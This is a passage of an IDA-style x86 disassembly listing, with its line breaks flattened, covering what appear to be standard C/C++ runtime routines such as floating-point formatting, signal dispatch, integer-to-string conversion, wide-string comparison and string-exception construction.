sub_425973+17Fj cmp edi, 15h jle short loc_425B04 push 15h pop edi loc_425B04: ; CODE XREF: sub_425973+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425B1A: ; CODE XREF: sub_425973+1B4j lea eax, [ebp+var_10] push eax call sub_425380 dec [ebp+arg_14] pop ecx jnz short loc_425B1A test esi, esi jge short loc_425B44 neg esi and esi, 0FFh jle short loc_425B44 loc_425B37: ; CODE XREF: sub_425973+1CFj lea eax, [ebp+var_10] push eax call sub_4253AE dec esi pop ecx jnz short loc_425B37 loc_425B44: ; CODE XREF: sub_425973+1B8j ; sub_425973+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_425BA1 mov [ebp+arg_C], ecx loc_425B54: ; CODE XREF: sub_425973+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_425380 lea eax, [ebp+var_10] push eax call sub_425380 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425322 lea eax, [ebp+var_10] push eax call sub_425380 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_425B54 mov eax, [ebp+arg_14] loc_425BA1: ; CODE XREF: sub_425973+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_425BDE loc_425BAE: ; CODE XREF: sub_425973+248j cmp eax, ecx jb short loc_425BC1 cmp byte ptr [eax], 39h jnz short loc_425BBD mov byte ptr [eax], 30h dec eax jmp short loc_425BAE ; --------------------------------------------------------------------------- loc_425BBD: ; CODE XREF: sub_425973+242j cmp eax, ecx jnb short loc_425BC5 loc_425BC1: ; CODE XREF: sub_425973+23Dj inc eax inc word ptr [ebx] loc_425BC5: ; CODE XREF: sub_425973+24Cj inc byte ptr [eax] loc_425BC7: ; CODE XREF: sub_425973+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425BD6: ; CODE XREF: sub_425973+F0j mov eax, [ebp+var_4] loc_425BD9: ; CODE XREF: sub_425973+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_425BDE: ; CODE XREF: sub_425973+239j ; sub_425973+275j cmp eax, ecx jb short loc_425BEE cmp byte ptr [eax], 30h jnz short loc_425BEA dec eax jmp short loc_425BDE ; --------------------------------------------------------------------------- loc_425BEA: ; CODE XREF: sub_425973+272j cmp eax, ecx jnb short loc_425BC7 loc_425BEE: ; CODE XREF: sub_425973+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_425BFD: ; CODE XREF: sub_425973+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425BD9 sub_425973 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425C06 proc near ; CODE XREF: sub_422DFC+21DDp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_425C6D dec eax dec eax jz short loc_425C5E sub eax, 4 jz short loc_425C5E sub eax, 3 jz short loc_425C5E sub eax, 4 jz short loc_425C51 sub eax, 6 jz short loc_425C44 dec eax jz short loc_425C37 or eax, 0FFFFFFFFh jmp loc_425D2F ; --------------------------------------------------------------------------- loc_425C37: ; CODE XREF: sub_425C06+27j mov esi, dword_4DC004 mov eax, offset dword_4DC004 jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C44: ; CODE XREF: sub_425C06+24j mov esi, dword_4DC000 mov eax, offset dword_4DC000 jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C51: ; CODE XREF: sub_425C06+1Fj mov esi, dword_4DC008 mov eax, offset dword_4DC008 jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C5E: ; CODE XREF: sub_425C06+10j ; sub_425C06+15j ... push edi call sub_425D33 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C6D: ; CODE XREF: sub_425C06+Cj mov esi, dword_4DBFFC mov eax, offset dword_4DBFFC loc_425C78: ; CODE XREF: sub_425C06+3Cj ; sub_425C06+49j ... cmp esi, 1 jnz short loc_425C84 xor eax, eax jmp loc_425D2F ; --------------------------------------------------------------------------- loc_425C84: ; CODE XREF: sub_425C06+75j test esi, esi jnz short loc_425C8F push 3 call sub_41C1A2 loc_425C8F: ; CODE XREF: sub_425C06+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_425CA1 cmp edi, 0Bh jz short loc_425CA1 cmp edi, 4 jnz short loc_425CC7 loc_425CA1: ; CODE XREF: sub_425C06+8Fj ; sub_425C06+94j mov ebx, dword_4DBE9C and dword_4DBE9C, 0 cmp edi, ecx jnz short loc_425CF6 mov edx, dword_43D4CC mov dword_43D4CC, 8Ch mov [ebp+arg_0], edx jmp short loc_425CCA ; --------------------------------------------------------------------------- loc_425CC7: ; CODE XREF: sub_425C06+99j mov ebx, [ebp+arg_0] loc_425CCA: ; CODE XREF: sub_425C06+BFj cmp edi, ecx jnz short loc_425CF6 mov eax, dword_43D4C0 mov ecx, dword_43D4C4 add ecx, eax cmp eax, ecx jge short loc_425CFD lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43D450h[edx*4] loc_425CEB: ; CODE XREF: sub_425C06+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425CEB jmp short loc_425CFD ; --------------------------------------------------------------------------- loc_425CF6: ; CODE XREF: sub_425C06+AAj ; sub_425C06+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425D0B loc_425CFD: ; CODE XREF: sub_425C06+D7j ; sub_425C06+EEj push dword_43D4CC push 8 call esi pop ecx pop ecx jmp short loc_425D19 ; --------------------------------------------------------------------------- loc_425D0B: ; CODE XREF: sub_425C06+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425D19 cmp edi, 4 jnz short loc_425D2C loc_425D19: ; CODE XREF: sub_425C06+103j ; sub_425C06+10Cj cmp edi, 8 mov dword_4DBE9C, ebx jnz short loc_425D2C mov eax, [ebp+arg_0] mov dword_43D4CC, eax loc_425D2C: ; CODE XREF: sub_425C06+111j ; sub_425C06+11Cj xor eax, eax pop ebx loc_425D2F: ; CODE XREF: sub_425C06+2Cj ; sub_425C06+79j pop edi pop esi pop ebp retn sub_425C06 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425D33 proc near ; CODE XREF: sub_425C06+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43D4C8 cmp dword_43D44C, edx push esi mov eax, offset dword_43D448 jz short loc_425D61 lea esi, [ecx+ecx*2] lea esi, ds:43D448h[esi*4] loc_425D55: ; CODE XREF: sub_425D33+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425D61 cmp [eax+4], edx jnz short loc_425D55 loc_425D61: ; CODE XREF: sub_425D33+16j ; sub_425D33+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43D448h[ecx*4] cmp eax, ecx jnb short loc_425D75 cmp [eax+4], edx jz short locret_425D77 loc_425D75: ; CODE XREF: sub_425D33+3Bj xor eax, eax locret_425D77: ; CODE XREF: sub_425D33+40j retn sub_425D33 endp ; =============== S U B R O U T I N E ======================================= sub_425D78 proc near ; CODE XREF: sub_4251BB+8Bp ; sub_4251BB+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DD140 jnb short loc_425DDF mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DD040[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425DDF mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425DB8 and cl, 7Fh jmp short loc_425DC5 ; --------------------------------------------------------------------------- loc_425DB8: ; CODE XREF: sub_425D78+39j cmp [esp+4+arg_4], 4000h jnz short loc_425DD3 or cl, 80h loc_425DC5: ; CODE XREF: sub_425D78+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425DD3: ; CODE XREF: sub_425D78+48j mov dword_4DBDDC, 16h jmp short loc_425DE9 ; --------------------------------------------------------------------------- loc_425DDF: ; CODE XREF: sub_425D78+Bj ; sub_425D78+27j mov dword_4DBDDC, 9 loc_425DE9: ; CODE XREF: sub_425D78+65j or eax, 0FFFFFFFFh pop esi retn sub_425D78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DEE proc near ; CODE XREF: sub_425973+165p ; sub_42600E+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425FEE cmp cx, 7FFFh jnb loc_425FEE cmp dx, 0BFFDh ja loc_425FEE cmp dx, 3FBFh ja short loc_425E57 xor eax, eax jmp short loc_425E91 ; --------------------------------------------------------------------------- loc_425E57: ; CODE XREF: sub_425DEE+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425E79 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425E79 xor eax, eax cmp [esi+4], eax jnz short loc_425E7B cmp [esi], eax jnz short loc_425E7B jmp loc_425FE8 ; --------------------------------------------------------------------------- loc_425E79: ; CODE XREF: sub_425DEE+71j ; sub_425DEE+79j xor eax, eax loc_425E7B: ; CODE XREF: sub_425DEE+80j ; sub_425DEE+84j cmp cx, ax jnz short loc_425E9E inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425E9E cmp [ebx+4], eax jnz short loc_425E9E cmp [ebx], eax jnz short loc_425E9E loc_425E91: ; CODE XREF: sub_425DEE+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_426009 ; --------------------------------------------------------------------------- loc_425E9E: ; CODE XREF: sub_425DEE+90j ; sub_425DEE+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425EAE: ; CODE XREF: sub_425DEE+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425F02 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425ECA: ; CODE XREF: sub_425DEE+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425301 add esp, 0Ch test eax, eax jz short loc_425EF5 mov eax, [ebp+var_4] inc word ptr [eax] loc_425EF5: ; CODE XREF: sub_425DEE+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425ECA loc_425F02: ; CODE XREF: sub_425DEE+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425EAE add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425F45 loc_425F20: ; CODE XREF: sub_425DEE+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425F3E lea eax, [ebp+var_24] push eax call sub_425380 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425F20 loc_425F3E: ; CODE XREF: sub_425DEE+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425F7E loc_425F45: ; CODE XREF: sub_425DEE+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425F7E movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425F5E: ; CODE XREF: sub_425DEE+184j test byte ptr [ebp+var_24], 1 jz short loc_425F67 inc [ebp+var_14] loc_425F67: ; CODE XREF: sub_425DEE+174j lea eax, [ebp+var_24] push eax call sub_4253AE dec ebx pop ecx jnz short loc_425F5E cmp [ebp+var_14], 0 jz short loc_425F7E or byte ptr [ebp+var_24], 1 loc_425F7E: ; CODE XREF: sub_425DEE+155j ; sub_425DEE+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425F95 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425FCA loc_425F95: ; CODE XREF: sub_425DEE+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425FC7 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425FC2 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425FBC inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425FCA ; --------------------------------------------------------------------------- loc_425FBC: ; CODE XREF: sub_425DEE+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425FCA ; --------------------------------------------------------------------------- loc_425FC2: ; CODE XREF: sub_425DEE+1B5j inc [ebp+var_20+2] jmp short loc_425FCA ; --------------------------------------------------------------------------- loc_425FC7: ; CODE XREF: sub_425DEE+1ABj inc [ebp+var_24+2] loc_425FCA: ; CODE XREF: sub_425DEE+1A5j ; sub_425DEE+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425FEE mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425FE8: ; CODE XREF: sub_425DEE+86j mov [esi+0Ah], ax jmp short loc_426009 ; --------------------------------------------------------------------------- loc_425FEE: ; CODE XREF: sub_425DEE+42j ; sub_425DEE+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_426009: ; CODE XREF: sub_425DEE+ABj ; sub_425DEE+1FEj pop edi pop esi pop ebx leave retn sub_425DEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42600E proc near ; CODE XREF: sub_4254A2+440p ; sub_425973+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43D828 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_426087 jge short loc_426036 mov eax, [ebp+arg_4] mov ebx, offset dword_43D988 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_426036: ; CODE XREF: sub_42600E+16j cmp [ebp+arg_8], ecx jnz short loc_426041 mov eax, [ebp+arg_0] mov [eax], cx loc_426041: ; CODE XREF: sub_42600E+2Bj cmp [ebp+arg_4], ecx jz short loc_426087 push esi push edi loc_426048: ; CODE XREF: sub_42600E+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_426080 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_426073 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_426073: ; CODE XREF: sub_42600E+57j push esi push [ebp+arg_0] call sub_425DEE pop ecx pop ecx xor ecx, ecx loc_426080: ; CODE XREF: sub_42600E+49j cmp [ebp+arg_4], ecx jnz short loc_426048 pop edi pop esi loc_426087: ; CODE XREF: sub_42600E+14j ; sub_42600E+36j pop ebx leave retn sub_42600E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426090 proc near ; CODE XREF: sub_426173+19p ; sub_42629A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41B9C0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D9B3 mov eax, esi pop esi retn 8 sub_426090 endp ; =============== S U B R O U T I N E ======================================= sub_4260BA proc near ; CODE XREF: ___:004260E5p ; sub_426168+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_40D977 mov ecx, esi pop esi jmp sub_426564 sub_4260BA endp ; =============== S U B R O U T I N E ======================================= sub_4260D5 proc near ; DATA XREF: ___:00427C94o ; ___:00427CA4o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4260E1 mov eax, offset dword_427688 locret_4260E1: ; CODE XREF: sub_4260D5+5j retn sub_4260D5 endp ; --------------------------------------------------------------------------- loc_4260E2: ; DATA XREF: ___:off_427C90o push esi mov esi, ecx call sub_4260BA test byte ptr [esp+8], 1 jz short loc_4260F8 push esi call sub_41D65F pop ecx loc_4260F8: ; CODE XREF: ___:004260EFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4260FE proc near ; CODE XREF: sub_426173+29p mov eax, offset loc_426AE2 call sub_41D640 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427CAC call sub_4264DD push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_4261B0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427CA0 mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4260FE endp ; =============== S U B R O U T I N E ======================================= sub_42614C proc near ; DATA XREF: ___:off_427CA0o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426168 test [esp+4+arg_0], 1 jz short loc_426162 push esi call sub_41D65F pop ecx loc_426162: ; CODE XREF: sub_42614C+Dj mov eax, esi pop esi retn 4 sub_42614C endp ; =============== S U B R O U T I N E ======================================= sub_426168 proc near ; CODE XREF: sub_42614C+3p ; DATA XREF: ___:00428014o mov dword ptr [ecx], offset off_427CA0 jmp sub_4260BA sub_426168 endp ; =============== S U B R O U T I N E ======================================= sub_426173 proc near ; CODE XREF: sub_40D824+13p ; sub_40D9E8+Ep mov eax, offset loc_426AF4 call sub_41D640 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426090 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4260FE push offset dword_428010 lea eax, [ebp-3Ch] push eax call sub_426587 int 3 ; Trap to Debugger sub_426173 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4261B0 proc near ; CODE XREF: sub_4260FE+32p ; sub_4261D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D824 mov eax, esi pop esi retn 4 sub_4261B0 endp ; =============== S U B R O U T I N E ======================================= sub_4261D0 proc near ; CODE XREF: sub_42629A+29p mov eax, offset loc_426B06 call sub_41D640 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427CAC call sub_4264DD push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_4261B0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4261D0 endp ; =============== S U B R O U T I N E ======================================= sub_426218 proc near ; CODE XREF: sub_426282+7p ; sub_4262DE+7p ... mov eax, offset loc_426B18 call sub_41D640 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42651A and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_4261B0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426218 endp ; =============== S U B R O U T I N E ======================================= sub_42625B proc near ; DATA XREF: ___:off_427CCCo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426277 test [esp+4+arg_0], 1 jz short loc_426271 push esi call sub_41D65F pop ecx loc_426271: ; CODE XREF: sub_42625B+Dj mov eax, esi pop esi retn 4 sub_42625B endp ; =============== S U B R O U T I N E ======================================= sub_426277 proc near ; CODE XREF: sub_42625B+3p ; DATA XREF: ___:004280BCo mov dword ptr [ecx], offset off_427CCC jmp sub_4260BA sub_426277 endp ; =============== S U B R O U T I N E ======================================= sub_426282 proc near ; CODE XREF: sub_4262F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426218 mov dword ptr [esi], offset off_427CA0 mov eax, esi pop esi retn 4 sub_426282 endp ; =============== S U B R O U T I N E ======================================= sub_42629A proc near ; CODE XREF: sub_40D774+15p ; sub_40D7CD+15p ... mov eax, offset loc_426B2A call sub_41D640 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426090 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4261D0 push offset dword_4280B8 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427CCC call sub_426587 int 3 ; Trap to Debugger sub_42629A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4262DE proc near ; CODE XREF: sub_4262F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426218 mov dword ptr [esi], offset off_427CCC mov eax, esi pop esi retn 4 sub_4262DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4262F6 proc near ; DATA XREF: ___:00427C98o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426218 push offset dword_4280F8 lea eax, [ebp+var_1C] push eax call sub_426587 int 3 ; Trap to Debugger loc_426314: ; DATA XREF: ___:00427CD4o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4262DE push offset dword_4280B8 lea eax, [ebp+var_1C] push eax call sub_426587 int 3 ; Trap to Debugger loc_426332: ; DATA XREF: ___:00427CA8o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426282 push offset dword_428010 lea eax, [ebp+var_1C] push eax call sub_426587 int 3 ; Trap to Debugger sub_4262F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426350 proc near ; CODE XREF: sub_40D104+5Ep ; ___:00415771p ... nop jmp near ptr 71AB1B7Bh sub_426350 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_426356 proc near ; CODE XREF: sub_41D2AC+23p ; sub_41D550+13p jmp near ptr 28A0000h sub_426356 endp ; --------------------------------------------------------------------------- inc ecx ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42635C proc near ; CODE XREF: ___:0040B091p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0Ah jnz short loc_426371 cmp [ebp+arg_0], 0 jge short loc_426371 push 1 push 0Ah jmp short loc_426376 ; --------------------------------------------------------------------------- loc_426371: ; CODE XREF: sub_42635C+7j ; sub_42635C+Dj push 0 push [ebp+arg_8] loc_426376: ; CODE XREF: sub_42635C+13j push [ebp+arg_4] push [ebp+arg_0] call sub_426389 mov eax, [ebp+arg_4] add esp, 10h pop ebp retn sub_42635C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426389 proc near ; CODE XREF: sub_42635C+20p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 mov ecx, [ebp+arg_4] push ebx push esi push edi jz short loc_4263A3 mov esi, [ebp+arg_0] mov byte ptr [ecx], 2Dh inc ecx neg esi jmp short loc_4263A6 ; --------------------------------------------------------------------------- loc_4263A3: ; CODE XREF: sub_426389+Dj mov esi, [ebp+arg_0] loc_4263A6: ; CODE XREF: sub_426389+18j mov edi, ecx loc_4263A8: ; CODE XREF: sub_426389+43j mov eax, esi xor edx, edx div [ebp+arg_8] mov eax, esi mov ebx, edx xor edx, edx div [ebp+arg_8] cmp ebx, 9 mov esi, eax jbe short loc_4263C4 add bl, 57h jmp short loc_4263C7 ; --------------------------------------------------------------------------- loc_4263C4: ; CODE XREF: sub_426389+34j add bl, 30h loc_4263C7: ; CODE XREF: sub_426389+39j mov [ecx], bl inc ecx test esi, esi ja short loc_4263A8 and byte ptr [ecx], 0 dec ecx loc_4263D2: ; CODE XREF: sub_426389+55j mov dl, [edi] mov al, [ecx] mov [ecx], dl mov [edi], al dec ecx inc edi cmp edi, ecx jb short loc_4263D2 pop edi pop esi pop ebx pop ebp retn sub_426389 endp ; =============== S U B R O U T I N E ======================================= sub_4263E5 proc near ; CODE XREF: sub_41761C+E2p ; sub_41761C+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DBE84, 0 push ebx jnz short loc_42642B mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_4263F7: ; CODE XREF: sub_4263E5+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426409 cmp bx, 41h jb short loc_426409 add ebx, 20h loc_426409: ; CODE XREF: sub_4263E5+19j ; sub_4263E5+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_42641B cmp ax, 41h jb short loc_42641B add eax, 20h loc_42641B: ; CODE XREF: sub_4263E5+2Bj ; sub_4263E5+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_42645B cmp bx, ax jz short loc_4263F7 jmp short loc_42645B ; --------------------------------------------------------------------------- loc_42642B: ; CODE XREF: sub_4263E5+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_426435: ; CODE XREF: sub_4263E5+72j mov ax, [esi] inc esi push eax inc esi call sub_4265C1 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_4265C1 pop ecx test bx, bx pop ecx jz short loc_426459 cmp bx, ax jz short loc_426435 loc_426459: ; CODE XREF: sub_4263E5+6Dj pop edi pop esi loc_42645B: ; CODE XREF: sub_4263E5+3Dj ; sub_4263E5+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_4263E5 endp ; =============== S U B R O U T I N E ======================================= sub_426465 proc near ; CODE XREF: sub_41843B+21p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42648C push esi call sub_41B9C0 inc eax push eax call sub_41BEB5 pop ecx test eax, eax pop ecx jz short loc_42648C push esi push eax call sub_41C890 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42648C: ; CODE XREF: sub_426465+7j ; sub_426465+1Aj xor eax, eax pop esi retn sub_426465 endp ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: ___:004264A8p mov dword ptr [ecx], offset off_427CEC mov ecx, [ecx+4] test ecx, ecx jz short locret_4264A4 push ecx call sub_41BA91 pop ecx locret_4264A4: ; CODE XREF: sub_426490+Bj retn sub_426490 endp ; --------------------------------------------------------------------------- loc_4264A5: ; DATA XREF: ___:off_427CECo push esi mov esi, ecx call sub_426490 test byte ptr [esp+8], 1 jz short loc_4264BB push esi call sub_41D65F pop ecx loc_4264BB: ; CODE XREF: ___:004264B2j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_4264C1: ; DATA XREF: ___:off_427CF4o push esi mov esi, ecx call sub_426564 test byte ptr [esp+8], 1 jz short loc_4264D7 push esi call sub_41D65F pop ecx loc_4264D7: ; CODE XREF: ___:004264CEj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4264DD proc near ; CODE XREF: sub_4260FE+1Dp ; sub_4261D0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427CF4 push dword ptr [edi] call sub_41B9C0 inc eax push eax call sub_41D9A5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42650C push dword ptr [edi] push eax call sub_41C890 pop ecx pop ecx loc_42650C: ; CODE XREF: sub_4264DD+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_4264DD endp ; =============== S U B R O U T I N E ======================================= sub_42651A proc near ; CODE XREF: sub_426218+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427CF4 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_426557 push dword ptr 